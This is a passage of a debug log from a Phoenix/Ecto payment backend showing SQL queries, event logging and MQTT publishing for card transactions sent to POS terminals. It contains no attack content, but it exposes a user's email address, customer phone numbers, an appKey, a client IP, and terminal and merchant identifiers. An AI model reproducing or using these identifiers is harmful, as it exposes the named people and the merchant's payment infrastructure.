[Thu Sep  3 11:45:12.256000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50182] QUERY OK source="pos_terminals" db=2.0ms queue=0.1ms idle=1648.7ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 11:45:12.258000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50182] QUERY OK source="brands" db=1.1ms idle=1649.5ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 11:45:12.259000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50182] QUERY OK source="user_metadata" db=0.9ms idle=1684.8ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 11:45:12.260000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50182] QUERY OK source="cloud_transaction" db=0.4ms idle=1652.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 11:45:12.260000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50182] Sent 200 in 23ms
[Thu Sep  3 11:45:42.370000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch552730079531","money": "12000.0", "status": "SUCCESS" }
[Thu Sep  3 11:45:42.370000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch552730079531: %{"money" => "12000.0", "request_id" => "ch552730079531", "status" => "SUCCESS"}
[Thu Sep  3 11:45:42.370000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch552730079531 is success
[Thu Sep  3 11:45:42.388000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=6.3ms queue=2.2ms idle=1773.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch552730079531", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 11:45:42.402000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=13.3ms queue=0.6ms idle=1783.8ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-03 11:45:42], 4956]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 11:45:42.402000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch552730079531 updated to success/received
[Thu Sep  3 11:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1130.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:46:55.248000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50848] POST /api/device/initiate
[Thu Sep  3 11:46:55.248000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50848] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch641997167991", "externalRefNumber2" => "8730044150", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:46:55.248000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Processing card transaction for reference: ch641997167991
[Thu Sep  3 11:46:55.249000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="users" db=0.3ms idle=1106.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:46:55.250000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="custom_events" db=0.4ms queue=0.1ms idle=636.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:46:55.251000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch641997167991"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 120,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch641997167991",
  external_ref_number_2: "8730044150",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 11:46:55.251000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 120,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch641997167991",
    external_ref_number_2: "8730044150",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch641997167991",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:46:55.251574Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 11:46:55.251000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50848] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch641997167991", external_ref_number_2: "8730044150", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch641997167991", transaction_id: nil, date_added: ~U[2026-09-03 11:46:55.251574Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 11:46:55.339000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK db=87.3ms idle=638.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch641997167991", external_ref_number_2: "8730044150", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch641997167991", ~U[2026-09-03 11:46:55Z], 35, "initiate_card_txn_request", ~N[2026-09-03 11:46:55], ~N[2026-09-03 11:46:55]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:46:55.339000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Successfully created custom event log with ID: 40186
[Thu Sep  3 11:46:55.339000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Handling card transaction:
- Reference: ch641997167991
- Amount: 120
- Params: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch641997167991", "externalRefNumber2" => "8730044150", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 11:46:55.341000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="users" db=0.4ms idle=726.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:46:55.342000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="custom_events" db=0.6ms idle=727.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:46:55.342000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch641997167991"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788436015,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:46:55.342000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788436015,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch641997167991",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:46:55.342567Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 11:46:55.343000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50848] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788436015, device_id: "98251226730002", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "ch641997167991", transaction_id: nil, date_added: ~U[2026-09-03 11:46:55.342567Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 11:46:55.394000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK db=50.9ms idle=729.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788436015, device_id: "98251226730002", amount: 120}, "Response From Device Online Status", "ch641997167991", ~U[2026-09-03 11:46:55Z], 36, "response_from_device_online_status", ~N[2026-09-03 11:46:55], ~N[2026-09-03 11:46:55]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:46:55.394000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Successfully created custom event log with ID: 40187
[Thu Sep  3 11:46:55.394000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch641997167991\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 11:46:55.440000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK db=44.7ms queue=0.7ms idle=781.1ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch641997167991", "externalRefNumber2" => "8730044150", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_21bad77a8e02@mercurypay.in", "98251226730002", "ch641997167991", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 11:46:55], ~N[2026-09-03 11:46:55]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 11:46:55.441000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="users" db=0.4ms idle=408.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:46:55.442000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="custom_events" db=0.5ms idle=324.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:46:55.442000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch641997167991"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788436015,
  qos: 1,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:46:55.443000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788436015,
    qos: 1,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch641997167991",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:46:55.442954Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 11:46:55.443000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50848] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788436015, qos: 1, device_id: "98251226730002", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "ch641997167991", transaction_id: nil, date_added: ~U[2026-09-03 11:46:55.442954Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 11:46:55.499000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK db=55.1ms idle=297.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788436015, qos: 1, device_id: "98251226730002", amount: 120}, "Request For Publish Txn", "ch641997167991", ~U[2026-09-03 11:46:55Z], 37, "request_for_publish_txn", ~N[2026-09-03 11:46:55], ~N[2026-09-03 11:46:55]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:46:55.499000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Successfully created custom event log with ID: 40188
[Thu Sep  3 11:46:55.499000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1112539137.177438>
[Thu Sep  3 11:46:55.499000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1112539137.177442>
[Thu Sep  3 11:46:55.501000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="users" db=1.0ms idle=250.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:46:55.502000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK source="custom_events" db=0.4ms idle=250.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:46:55.502000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch641997167991"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788436015,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:46:55.502000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788436015,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch641997167991",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:46:55.502408Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 11:46:55.502000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50848] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788436015, device_id: "98251226730002", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "ch641997167991", transaction_id: nil, date_added: ~U[2026-09-03 11:46:55.502408Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 11:46:55.557000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50848] QUERY OK db=54.4ms idle=163.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788436015, device_id: "98251226730002", amount: 120}, "Response From Publish Txn", "ch641997167991", ~U[2026-09-03 11:46:55Z], 38, "response_from_publish_txn", ~N[2026-09-03 11:46:55], ~N[2026-09-03 11:46:55]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:46:55.557000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50848] Successfully created custom event log with ID: 40189
[Thu Sep  3 11:46:55.558000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50848] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1112539137.177442>
[Thu Sep  3 11:46:55.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50848] Sent 200 in 310ms
[Thu Sep  3 11:47:01.473000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51754] POST /api/device/status
[Thu Sep  3 11:47:01.474000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51754] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch641997167991", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:47:01.474000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51754] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch641997167991", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 11:47:01.474000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51754] Transaction reference number: "ch641997167991"
[Thu Sep  3 11:47:01.491000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51754] QUERY OK source="pos_transaction" db=16.6ms queue=0.1ms idle=860.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 11:47:01.494000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51754] QUERY OK source="pos_temp_transaction" db=2.0ms idle=877.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch641997167991"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 11:47:01.502000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51754] QUERY OK source="pos_failed_transaction" db=8.0ms idle=880.2ms
